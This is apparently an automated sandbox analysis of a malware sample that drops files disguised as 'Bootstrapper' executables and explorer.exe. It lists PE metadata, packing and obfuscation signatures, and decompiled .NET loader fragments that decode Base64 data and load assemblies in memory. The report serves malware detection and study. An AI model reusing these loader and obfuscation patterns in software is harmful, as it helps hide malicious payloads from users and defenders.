Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: zC:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: xC:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: symbols\dll\mscorlib.pdbpdb` source: BootstrapperV21.exe, 00000002.00000002.4877362676.000000001C9E8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: System.pdb source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E8A2000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Windows\mscorlib.pdbpdblib.pdbvR source: BootstrapperV21.exe, 00000002.00000002.4870582452.000000001C3E0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: 8svMXMXNRn.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 8svMXMXNRn.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 8svMXMXNRn.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 8svMXMXNRn.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 8svMXMXNRn.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: BootstrapperV21.exe.0.dr, zOzCAaervtLAvIZ89MzEAzE4FwmJZ.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{_5Flt4FCN45M8UGh92b6OrGXGEpktWVjS10uS9LOIxNnFCa4Fhy7SLYnnOyhOCWkA2CId3wZhkxr82v12hJ4xBQ.v2XfmFsyHRfPxcImAzkpkpn49rYRGigAOIzycPLRf44QfCovUapwa6gDjbhiFOSY5O7ExZFjq615lc6CND9csZ,_5Flt4FCN45M8UGh92b6OrGXGEpktWVjS10uS9LOIxNnFCa4Fhy7SLYnnOyhOCWkA2CId3wZhkxr82v12hJ4xBQ.OQCeyrGv3i5ThcIflQoSH9M8O1XxczU4rEEBY28BL99FO19sfoYxRE1gOFNOZBagZl1O27I4Iml80YecIdpnHD,_5Flt4FCN45M8UGh92b6OrGXGEpktWVjS10uS9LOIxNnFCa4Fhy7SLYnnOyhOCWkA2CId3wZhkxr82v12hJ4xBQ._6GPuzz0D0MHs47HPbLmSjuj0EGBM1mnJzfcghxR0pJuho3SWaHALAA90nxFAzORt9AnDKxkkQufLb09yPacyry,_5Flt4FCN45M8UGh92b6OrGXGEpktWVjS10uS9LOIxNnFCa4Fhy7SLYnnOyhOCWkA2CId3wZhkxr82v12hJ4xBQ.zfVQtLKqqq5yxzMVX0i0rVzQczB3qOvYAnivZy783waVNmQ36Rg6zDJ31W95zbOrehvv7L23Dy42onVyMhHGfx,SdfvHZ1Yvp3COerPCZaD70Bb2f6q8.Qcr6Eye3s4o5XjKyyAe9UMuvHCQCMcu1AsG6R6YCqrlslWXCiDe2pnTt4mk2D()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: BootstrapperV21.exe.0.dr, zOzCAaervtLAvIZ89MzEAzE4FwmJZ.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{_1h7BYoYraAF9kb5l5pn7AljHhsRB7[2],SdfvHZ1Yvp3COerPCZaD70Bb2f6q8.c8RRnlVK0D13cgUlgCsRoFaISJ1fLYlvvM7ks5KQUasm3Gqy7EO2kEoE9oeGJ(Convert.FromBase64String(_1h7BYoYraAF9kb5l5pn7AljHhsRB7[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: BootstrapperV21.exe.0.dr, zOzCAaervtLAvIZ89MzEAzE4FwmJZ.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { _1h7BYoYraAF9kb5l5pn7AljHhsRB7[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: explorer.exe.2.dr, zOzCAaervtLAvIZ89MzEAzE4FwmJZ.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{_5Flt4FCN45M8UGh92b6OrGXGEpktWVjS10uS9LOIxNnFCa4Fhy7SLYnnOyhOCWkA2CId3wZhkxr82v12hJ4xBQ.v2XfmFsyHRfPxcImAzkpkpn49rYRGigAOIzycPLRf44QfCovUapwa6gDjbhiFOSY5O7ExZFjq615lc6CND9csZ,_5Flt4FCN45M8UGh92b6OrGXGEpktWVjS10uS9LOIxNnFCa4Fhy7SLYnnOyhOCWkA2CId3wZhkxr82v12hJ4xBQ.OQCeyrGv3i5ThcIflQoSH9M8O1XxczU4rEEBY28BL99FO19sfoYxRE1gOFNOZBagZl1O27I4Iml80YecIdpnHD,_5Flt4FCN45M8UGh92b6OrGXGEpktWVjS10uS9LOIxNnFCa4Fhy7SLYnnOyhOCWkA2CId3wZhkxr82v12hJ4xBQ._6GPuzz0D0MHs47HPbLmSjuj0EGBM1mnJzfcghxR0pJuho3SWaHALAA90nxFAzORt9AnDKxkkQufLb09yPacyry,_5Flt4FCN45M8UGh92b6OrGXGEpktWVjS10uS9LOIxNnFCa4Fhy7SLYnnOyhOCWkA2CId3wZhkxr82v12hJ4xBQ.zfVQtLKqqq5yxzMVX0i0rVzQczB3qOvYAnivZy783waVNmQ36Rg6zDJ31W95zbOrehvv7L23Dy42onVyMhHGfx,SdfvHZ1Yvp3COerPCZaD70Bb2f6q8.Qcr6Eye3s4o5XjKyyAe9UMuvHCQCMcu1AsG6R6YCqrlslWXCiDe2pnTt4mk2D()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: explorer.exe.2.dr, zOzCAaervtLAvIZ89MzEAzE4FwmJZ.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{_1h7BYoYraAF9kb5l5pn7AljHhsRB7[2],SdfvHZ1Yvp3COerPCZaD70Bb2f6q8.c8RRnlVK0D13cgUlgCsRoFaISJ1fLYlvvM7ks5KQUasm3Gqy7EO2kEoE9oeGJ(Convert.FromBase64String(_1h7BYoYraAF9kb5l5pn7AljHhsRB7[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: explorer.exe.2.dr, zOzCAaervtLAvIZ89MzEAzE4FwmJZ.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { _1h7BYoYraAF9kb5l5pn7AljHhsRB7[2] }}, (string[])null, (Type[])null, (bool[])null, true)
.NET source code contains potential unpacker
Source: BootstrapperV21.exe.0.dr, zOzCAaervtLAvIZ89MzEAzE4FwmJZ.cs .Net Code: PF8902c0ggCmm2TE6DSjEZBlM5DZz System.AppDomain.Load(byte[])
Source: BootstrapperV21.exe.0.dr, zOzCAaervtLAvIZ89MzEAzE4FwmJZ.cs .Net Code: AcZjfpbBxjO6wVkrSrK2mA5NMDPQo System.AppDomain.Load(byte[])
Source: BootstrapperV21.exe.0.dr, zOzCAaervtLAvIZ89MzEAzE4FwmJZ.cs .Net Code: AcZjfpbBxjO6wVkrSrK2mA5NMDPQo
Source: explorer.exe.2.dr, zOzCAaervtLAvIZ89MzEAzE4FwmJZ.cs .Net Code: PF8902c0ggCmm2TE6DSjEZBlM5DZz System.AppDomain.Load(byte[])
Source: explorer.exe.2.dr, zOzCAaervtLAvIZ89MzEAzE4FwmJZ.cs .Net Code: AcZjfpbBxjO6wVkrSrK2mA5NMDPQo System.AppDomain.Load(byte[])
Source: explorer.exe.2.dr, zOzCAaervtLAvIZ89MzEAzE4FwmJZ.cs .Net Code: AcZjfpbBxjO6wVkrSrK2mA5NMDPQo
File is packed with WinRar
Source: C:\Users\user\Desktop\8svMXMXNRn.exe File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_6729546 Jump to behavior
PE file contains sections with non-standard names
Source: 8svMXMXNRn.exe Static PE information: section name: .didat
Source: 8svMXMXNRn.exe Static PE information: section name: _RDATA
Source: voosiq.exe.2.dr Static PE information: section name: .didat
Source: voosiq.exe.2.dr Static PE information: section name: _RDATA
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373D5156 push rsi; retf 0_2_00007FF6373D5157
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373D5166 push rsi; retf 0_2_00007FF6373D5167
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 2_2_00007FF848C400BD pushad ; iretd 2_2_00007FF848C400C1
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C4DE45 push ebx; retn 5F52h 3_2_00007FF848C4E0FA
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C4D9AA push ebp; retf 3_2_00007FF848C4DB40
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C37913 push ebx; retf 3_2_00007FF848C3796A
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C462F5 push ss; retn 5F4Ch 3_2_00007FF848C46317
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C4DA99 push ebp; retf 3_2_00007FF848C4DB40
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C36253 push es; retn 5F4Dh 3_2_00007FF848C36327
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C3842E pushad ; ret 3_2_00007FF848C3845D
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C49C25 push 8B48FFEEh; iretd 3_2_00007FF848C49C2A
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C3552C push ebp; iretd 3_2_00007FF848C35538
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Code function: 3_2_00007FF848C300BD pushad ; iretd 3_2_00007FF848C300C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848B0D2A5 pushad ; iretd 5_2_00007FF848B0D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848C200BD pushad ; iretd 5_2_00007FF848C200C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848CF15DD push ss; iretd 5_2_00007FF848CF1632
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848CF0553 push es; iretd 5_2_00007FF848CF055A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848CF4F63 push ecx; iretd 5_2_00007FF848CF4F6A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848CF5163 push ebx; iretd 5_2_00007FF848CF516A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848CF5160 push ecx; iretd 5_2_00007FF848CF5162
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848CF2316 push 8B485F94h; iretd 5_2_00007FF848CF231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848CF9C81 pushfd ; iretd 5_2_00007FF848CF9CD2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848CF06A5 push es; iretd 5_2_00007FF848CF06F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848CF5453 push esi; iretd 5_2_00007FF848CF545A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848CF2E11 push eax; iretd 5_2_00007FF848CF2E61
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848CF6001 pushad ; iretd 5_2_00007FF848CF6012
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848CF5637 push esi; iretd 5_2_00007FF848CF5652
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00007FF848CF5425 push esp; iretd 5_2_00007FF848CF5452
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Code function: 8_2_00007FF848C34B38 pushfd ; retn 5F52h 8_2_00007FF848C4E0B1
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Code function: 8_2_00007FF848C31426 push es; ret 8_2_00007FF848C31427
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Code function: 8_2_00007FF848C3DDF8 pushad ; retf 8_2_00007FF848C3DDF9
Source: BootstrapperV21.exe.0.dr, 5Flt4FCN45M8UGh92b6OrGXGEpktWVjS10uS9LOIxNnFCa4Fhy7SLYnnOyhOCWkA2CId3wZhkxr82v12hJ4xBQ.cs High entropy of concatenated method names: 'C2mRYKFxbo8mjMI6EC1TSRx8VtcUIKNn5v7mEQYFFGFsBI', 'zPc7yff1hUjcgLmlJ9W990tBvLQkEcvG0ZugUtHMFVDWvo', '_5Ks36JSiOQNfV48SlqKc8P59xnfjRYXqTWq5OZxpsbQUmd', 'V1GYXlB36cLqmm24aHoL6TwuCrGusetrpW5a5ita4sN1GD'
Source: BootstrapperV21.exe.0.dr, I6s71bMp9PKNAdO1kgmXPjSPsK2cg2TokcKQvhGocphGIJQswb2Z3W12Nxnva.cs High entropy of concatenated method names: 'xWT8jiIvOh2GW1qEBwNoJ58pi2urAplZdKMnFzBCI2RiJezkdZua3uO0gYPvA', '_24jmqkdsmCcWnr0ML1QnEbv3mGO8wNrOQ5jgsbutzr5ePhE9BGqlR9ZlEHnfc', 'i4v3npYnMyHkBm1EqmP6eIW1oZn3ro0Q7InqrvDFtTbhb707QQArtm9T5pxvh', 'vVOpKIfbQbgnI5uz3xbPU', 'tDlFFG6ufaxuhtRIKvN8I', 'BIpLswp9pzcg8rpgF4gGy', 'UiN498PeQPbztTncmB5WQ', 'Ki9RIDIwl6SoeUzcuJ4Lp', 'lo0YxcU63W6R2bx7GwNq8', 'cgybRzYtOGSpzOvVFtWVj'
Source: BootstrapperV21.exe.0.dr, W8IM5Si5Xe5Ar6LfZE7GAFHW5UtG1SlAKDgHeqY7XPQe4uRBX6nWtuc1yaPfVXXhRrYORLVsT1WIz2d6Wthobn.cs High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'VI80LdBHlhxjKNQtTl18CHvQlbFPuVzIl82JLMwDiaogAr', 'ECAFhD3QhhrOpo7IrDCDqhfvEjK5Bq6JQEMs4ZKwQZ72rW', '_7QhPqKIX1UpzWPWQUkfOgYsaV3WOtm6zBm5pigHVCdeQRu', 'OLWccK1MhTLNitMzo72kZmp5jHLXsq9ObOhZk8zGoemKOC'
Source: BootstrapperV21.exe.0.dr, kkMEjSvcL2RYZLOOEZEuWDrlPovLn.cs High entropy of concatenated method names: 'KqkKfF3WoFg3qrMOdzIzLfie7VgeT', '_3p9GpXSOMcX2V3c3K1921t3Kri15m', 'y5gsZykZdAXb8JXDJIx7LGVsLNQEi', 'c8bvTP8P6gjK2XWbf0bypcuD6HE2M', 'LpRdxN0MgQNcU62yYMdlLXVdCBDff', '_3iNGpi2BZIxoC5YOmErZYE61oKM0L', 'DMTjzEaq9p29cNElerjewqqrlfP81', 'J09nPo9WZ7qNhec1dpY8AQxduSj11', '_4OuWjQWw7fLem0HRRsLuAh5YOx9Vx', 'M8DlQGlquPJz9cysh4qdW4BZdetsM'
Source: BootstrapperV21.exe.0.dr, rFTZMkX7tWQg80xKOqPGY7F5Zx8lT.cs High entropy of concatenated method names: 'UqlJIM7eNdl7t6xzRAD4nCthC6tIT', 'dli1WpCs2AFFTtcGckqPdKl3JhpnY', 'Y5so5pOhmc15k3ryzVkvUXvu3itfM', 'wnbVM8CqlgOFsbbp3R2esRupASU5L2aueul3NA1gUf6kOmkI6LLfs8r4KHci6gXDJQ7qm9jEaBgf4z', 'dAS6rStRdDwJuz4Ua0XjXWZ7BDP7sgQB6ZJRd55YMdMlJ0pqUWftDBuVS2fDZwXotE0Der1OkQ3JtS', 'ODbM1lXY6NpliX3pLSnFfbkX3dZI48LQ664pUzJHWEGY8bd5iIuJ6tCqORUIzBjacXz8pyFBSBZ61T', 'r6MBXtW7UHksZdVBCEiQGOBuiT9x3hZ4pZsfXFOScaN8zNiY4Do9h8d0F9cW8TnSdpz41FXKrc1JsO', 'CDsXB7QlHkliBee5jYxpRP6UMzYmqguF5kPMU6JXEB13ESpKqNJQtlgRYrxTcSyjJBCD1u1zf3MnYJ', 'GbC1IYpJYSnnsy66B1rpPauGWMHCDQjb0casMtEXyV8CbCed2vLW2MHLmJAJwK3yk0rnFYgutog6G9', 'Evo3s4GjMtOUxz34bl0PW60TMQOMxqmlnkcsRxwdqaJvIDnjCOAwTh8aXiSvmW9pSQNPAvP9fySdCp'
Source: BootstrapperV21.exe.0.dr, iE2JG8OyzoUgBKQJy6KnMXFpYrHoU2FZ7MRP4mITsrlhsV9Gt1A6RK4AAqykDpnKsG9wGtnz2w903OpUVP5W4K.cs High entropy of concatenated method names: 'O6J9Y5cgwntMrgYPzcDWwLSZWzdSV2LR7YCylyAYY8JzwkromRfhwKoaBLHA0rSy2b7hgLayTv6KV5p7oOOYtL', 'jZZuq4D8N6pKXRO2FeUi3WfZG4gYezzi2lKet7eqAXvYefNgpN9nRA2yPXiAOzeH8gRkJLfgrpH6VWYiegsr0I', 'zwpVQZUUqfyLK3mkZNRwX7Lqld90P', 'k36cmNBAiJZt9rTIa0VnKAu1XQjjc', 'LOtqh265hoGbo5e908yXLr6Jhn21Z', 'z6Chi5o7dFPcr7Ls63MvODSCVNvrz', '_2tonB1AZ7O3J0BoOaQPPwZAdqxFLg', 'zgywq7RdMcJyRyefAkTNa8N9q73By', 'bOvjsV4Gb7Lcy2g9vPDp1z0w3mV3W', 'PGrm6nnxr4GhxoJXB8Gw1QeWuwVqo'
Source: BootstrapperV21.exe.0.dr, xyilDDsUjw2dYanZBJsTKmg5W2LZJ.cs High entropy of concatenated method names: 'c8vgyakmf1R2oQIDL31EsCJUuvl5q', 'f1fqLRir4yBdmWZhzqvn8WotjFESe3RebDrSO8kuOl6scwKx8v1biro3emIia638w4or2857k0nPfD', '_68JXPe27zBpy0yUKgeemNKznjQyAMYOVfnvvKHSuHuvHOLV3ldaCTArXPDNdhwgLqXiUY7Ay1HpG9H', '_0uKwSSnMKEpdr7Ub868ukgeUSkHU6YNxH3LRzsFnjjGUuMKG171xxX7ounAYJHLoskfEx5wHz2lesi', 'USJLdHE3jU6HXnG7w2lPAdKRtVmw46HPQYwOvs050TFayoSRFKCZZlB67Hijio49wptKZMMd64Dopj'
Source: BootstrapperV21.exe.0.dr, b5Cow6riCVRT3gYLHI1XT4HkkiqT7vzZ46palIeoMDQEh3qmI5wOBaklRoRv3ZmvlZce3flpVfDyklQuYyJB5d.cs High entropy of concatenated method names: 'qehUYOBeDcpaYtW1eqFSfZty50Gm6QG1LIMOrdUcbCoB3ibMmncqgXNoH6pAMnw3JI8imwnxTjT34wu4o3CHTD', '_318kuJsDp1W535VUBzSqjfId9jxPrqZ7KciWzsKwbVm7wuFj3HOs4blADR18rom7P1FREd3VBgMd0etDNTbZ4y', 'BmqfnKf69yM2ZV7gZgb6JzbD10nfHpJs8tEWagrL3JvshKmC1fr5TtfTwT1EOnHhuvuLAGo36EymzrS9srwXZq', 'FUrFNPGHFdct2Zmt4jkPM5RgyBNsmzi4U2TzJ08DUiD8rlzpxv7cT6Ee2HA8w4SNJfY9DZcJCSNEpb62paOmxE', '_7OvtfDb6JRiJ4KKqSL4OrfwUkLaleZIIGQe8MvRmvXzvShFh6gKvb3QFDKSdeKDQcW2DDxb0144bJkKl3krr01', 'Sxl4CYfkNtQTypC5EWHdpdTid1VT1DWnUOkzQl4VQ2MRJpRYXXc4y1Sh5HbWl5ZsIwuM9aAwgE3naVVhjR11ow', 'UAsMndEYHOysD8ftrC9938jbKKMEGo7GcweO1H6GZUufyz', 'VbwXq3kbJ4msyIXwmlS0A6pI6I5kPIl9euTCH03tkGNLde', 'rVyhSTn9qoTQESBUMF65iuRJ73XtSg3IceFl69RfLevdhH', 'aahYyP1e4W8MA1dQoNM0H6BoGdQsIfGBySwJKEkdj3oS4x'
Source: BootstrapperV21.exe.0.dr, 65bWXagIT9MC7apne2lv4JhVNzwdT.cs High entropy of concatenated method names: 'UfuahBT79qv9T04vz6JD3XXirpcqi', 'fMthJqi1SjYEtxNOL7KI9', 'UOfgdQziS7otovm6KlZuU', 'tSCG9cBSl9ZeUM7TPyCnr', '_8WnwsUsRQYi8suXzd8Icw'
Source: BootstrapperV21.exe.0.dr, zOzCAaervtLAvIZ89MzEAzE4FwmJZ.cs High entropy of concatenated method names: '_7NnuJPGeJbph6edpCoGIjYiQDSh3o', 'PF8902c0ggCmm2TE6DSjEZBlM5DZz', 'D1CEH3eJ3CRGpUDfk1bTDGiHF322x', 'K7fl2LdzMQ7LmtVoeGeJ95nNwa6nx', 'wgaq38YMdDLeK5XrRBBHuvkHVS4xZ', 'FyPJwls6IflsNuScxdfjBTZfhwgcC', 'jirZsUAACKMuPL7MIiVP4oWqunwAu', 'J0pFnA0Ic2odpYwSlPA54q2Vwqn3a', 'NLY32Ky6jWF7aTXXNVlDcUN1YqTeC', 'BejRqO8WqCih5jJyoscq5xKJ0c6l3'
Source: BootstrapperV21.exe.0.dr, SdfvHZ1Yvp3COerPCZaD70Bb2f6q8.cs High entropy of concatenated method names: 'zQgiKUkNsgGLiyTGjnv5OEdT26753', 'sLVHXpBUgGCcuimjFX0XuJ7N120qo', 'NSmAx12zjX2NCsyTjjBzP9PXaTXgg', 'nUbAj9OJm6ysYQdbrbOj7jterOXSV', 'zSfvDd5pkQpSHerVM5zQIVCRewrNE', '_8Ci1rdyt9x647r02HpYuqYjZbCZny', 'dWT0luGBpR1UvAxi4sTIBc36jJ9Ke', 'ef71gGpEcB2HS0GaItz9zFtPrDSGR', 'dPvLNHNtNMh2Vl1zsfm3PviicrrOtaWnFTYLeVOojb4HIG86hC8hny7yZ5ykl', 'okRpewScgtnBy8iQXQYuuLJs1h2H0SYgX6ZrxpJ1j5u6sm1IL0Ir0SqDXrVJQ'
Source: BootstrapperV21.exe.0.dr, 8ySmmJwVqH31e10jy4auG3uFvCRQh.cs High entropy of concatenated method names: 'ZH0k1wYhRD2p1GXtK4wuPWz5rpPII', 'qtlddTmM34biU8WAurFmlmj9ejv4V', '_3mIQudcWYgarbK7Qi88aM9up5qu1J', 'BjNFn6Cyv08aX4eEW9rQNYkFOrnTb', '_7aI2H2VojOG5LGwmAFK3z', 'adJqzMBZwSKH8NGvmVpmN', 'OEGya98x7eFw6wuUKTp7C', 'Hv8VqcFwjkSO5vDTn5dAm', 'aBqKJ6xXIVLzRXDwUVVh0', 'tXlOc7AvPE0MrAUvZYh0N'
